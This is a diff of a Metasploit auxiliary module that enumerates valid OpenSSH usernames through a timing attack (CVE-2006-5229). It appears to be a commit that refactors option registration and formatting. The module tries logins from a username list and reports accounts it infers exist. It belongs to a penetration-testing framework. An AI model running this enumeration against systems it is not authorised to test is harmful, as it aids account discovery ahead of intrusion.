@@ -12,50 +12,47 @@ class Metasploit3 < Msf::Auxiliary
12
12
include Msf ::Auxiliary ::Report
13
13
include Msf ::Auxiliary ::CommandShell
14
14
15
- def initialize
16
- super (
15
+ def initialize ( info = { } )
16
+ super ( update_info ( info
17
17
'Name' => 'SSH Username Enumeration' ,
18
18
'Description' => %q{
19
19
This module uses a time-based attack to enumerate users in a OpenSSH server.
20
20
} ,
21
21
'Author' => [ 'kenkeiras' ] ,
22
22
'References' =>
23
- [
24
- [ 'CVE' , '2006-5229' ]
25
- ] ,
23
+ [
24
+ [ 'CVE' , '2006-5229' ]
25
+ ] ,
26
26
'License' => MSF_LICENSE
27
- )
27
+ ) )
28
28
29
29
register_options (
30
30
[
31
+ Opt ::RPORT ( 22 ) ,
31
32
OptPath . new ( 'USER_FILE' ,
32
- [ true , 'File containing usernames, one per line' , nil ] ) ,
33
+ [ true , 'File containing usernames, one per line' , nil ] ) ,
33
34
OptInt . new ( 'THRESHOLD' ,
34
- [ true ,
35
- 'Amount of seconds needed before a user is considered ' \
36
- 'found' , 10 ] ) ,
37
- Opt ::RPORT ( 22 )
35
+ [ true ,
36
+ 'Amount of seconds needed before a user is considered ' \
37
+ 'found' , 10 ] )
38
38
] , self . class
39
39
)
40
40
41
41
register_advanced_options (
42
42
[
43
- OptBool . new ( 'SSH_DEBUG' ,
44
- [ false , 'Enable SSH debugging output (Extreme verbosity!)' ,
45
- false ] ) ,
46
-
47
- OptInt . new ( 'SSH_TIMEOUT' ,
48
- [ false , 'Specify the maximum time to negotiate a SSH session' ,
49
- 10 ] ) ,
50
-
51
43
OptInt . new ( 'RETRY_NUM' ,
52
44
[ true , 'The number of attempts to connect to a SSH server' \
53
- ' for each user' , 3 ] )
45
+ ' for each user' , 3 ] ) ,
46
+ OptInt . new ( 'SSH_TIMEOUT' ,
47
+ [ false , 'Specify the maximum time to negotiate a SSH session' ,
48
+ 10 ] ) ,
49
+ OptBool . new ( 'SSH_DEBUG' ,
50
+ [ false , 'Enable SSH debugging output (Extreme verbosity!)' ,
51
+ false ] )
54
52
]
55
53
)
56
54
end
57
55
58
-
59
56
def rport
60
57
datastore [ 'RPORT' ]
61
58
end
@@ -90,16 +87,12 @@ def check_user(ip, user, port)
90
87
::Timeout . timeout ( datastore [ 'SSH_TIMEOUT' ] ) do
91
88
Net ::SSH . start ( ip , user , opt_hash )
92
89
end
93
-
94
90
rescue Rex ::ConnectionError , Rex ::AddressInUse
95
91
return :connection_error
96
-
97
92
rescue Net ::SSH ::Disconnect , ::EOFError
98
93
return :success
99
-
100
94
rescue ::Timeout ::Error
101
95
return :success
102
-
103
96
rescue Net ::SSH ::Exception
104
97
end
105
98
@@ -112,29 +105,25 @@ def check_user(ip, user, port)
112
105
end
113
106
end
114
107
115
-
116
108
def do_report ( ip , user , port )
117
109
report_auth_info (
118
- :host => ip ,
119
- :port => rport ,
120
- :sname => 'ssh' ,
121
- :user => user ,
110
+ :host => ip ,
111
+ :port => rport ,
112
+ :sname => 'ssh' ,
113
+ :user => user ,
122
114
:active => true
123
115
)
124
116
end
125
117
126
-
127
118
def user_list
128
119
File . new ( datastore [ 'USER_FILE' ] ) . read . split
129
120
end
130
121
131
-
132
122
def attempt_user ( user , ip )
133
123
attempt_num = 0
134
124
ret = nil
135
125
136
126
while attempt_num <= retry_num and ( ret . nil? or ret == :connection_error )
137
-
138
127
if attempt_num > 0
139
128
Rex . sleep ( 2 ** attempt_num )
140
129
print_debug "Retrying '#{ user } ' on '#{ ip } ' due to connection error"
@@ -143,28 +132,25 @@ def attempt_user(user, ip)
143
132
ret = check_user ( ip , user , rport )
144
133
attempt_num += 1
145
134
end
135
+
146
136
ret
147
137
end
148
138
149
-
150
139
def show_result ( attempt_result , user , ip )
151
140
case attempt_result
152
141
when :success
153
142
print_good "User '#{ user } ' found on #{ ip } "
154
143
do_report ( ip , user , rport )
155
-
156
144
when :connection_error
157
145
print_error "User '#{ user } ' on #{ ip } could not connect"
158
-
159
146
when :fail
160
147
print_debug "User '#{ user } ' not found on #{ ip } "
161
-
162
148
end
163
149
end
164
150
165
-
166
151
def run_host ( ip )
167
152
print_status "Starting scan on #{ ip } "
168
153
user_list . each { |user | show_result ( attempt_user ( user , ip ) , user , ip ) }
169
154
end
155
+
170
156
end
0 commit comments